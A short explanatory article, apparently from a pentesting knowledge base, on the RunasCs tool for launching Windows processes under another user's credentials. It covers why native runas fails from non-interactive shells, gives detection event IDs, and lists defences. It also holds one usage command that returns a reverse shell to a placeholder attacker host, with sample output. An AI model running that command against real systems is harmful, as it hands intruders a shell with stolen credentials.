RunasCs

RunasCs is an open-source utility (a C# .exe) that runs a program as another user by supplying their credentials, just like Windows' native runas but built for pentesting and without its limitations.

What it's for. It's the piece that closes the loop when you obtain a more privileged user's password (or hash) but don't have their interactive session. For example, a credential leaked in a config file, in PowerShell history or, as in Crafty, hardcoded in a .jar plugin. With that password, RunasCs launches a process under that user's identity.

Why native runas isn't enough. Windows' runas.exe requires an interactive session (it reads the password from the console, won't take it as a parameter) and fails when the attacker operates from a non-interactive shell (a reverse shell from a webshell, say). RunasCs solves this: it accepts the password as an argument and creates the token via CreateProcessWithLogonW / LogonUser, working without an interactive desktop.

Typical usage, returning a reverse shell directly with the -r option:

.\RunasCs.exe <user> <password> cmd.exe -r <lhost>:<lport>

Characteristic output confirming success:

[+] Running in session 1 with process function CreateProcessWithLogonW()
[+] Using Station\Desktop: WinSta0\Default
[+] Async process 'C:\Windows\system32\cmd.exe' with pid 1020 created in background.

Relation to other techniques. RunasCs needs the credential: it doesn't obtain it, it uses it. It's usually the last link after an information leak or a credential reuse. It differs from Pass-the-Hash in that it normally starts from the cleartext password (though some variants accept a hash), and from privilege abuses like Potato in that here we already know the credentials: there's no token to steal, just a legitimate login to use.

How to detect it. The Windows security-log signature is a 4648 ("logon with explicit credentials"), uncommon in normal flows, alongside a 4624 with LogonType 2 (interactive) or 9 (NewCredentials) originating from a process that isn't a legitimate login. In the 4688/Sysmon Event ID 1 you see RunasCs.exe (or a cmd.exe -r) with an anomalous parent process (a webshell, w3wp.exe, a reverse shell), and the child runs under the target user's identity. Many AV/EDR flag the RunasCs binary by signature. The sequence 4648 -> 4624 -> child process as another user, all from a non-interactive parent, is the pattern.

Defence. Strong, unique per-account password policy, no storing secrets in code or readable files, and monitoring 4624/4648 events (logons with explicit credentials) that give this pattern away. Related to credential reuse and Pass-the-Hash.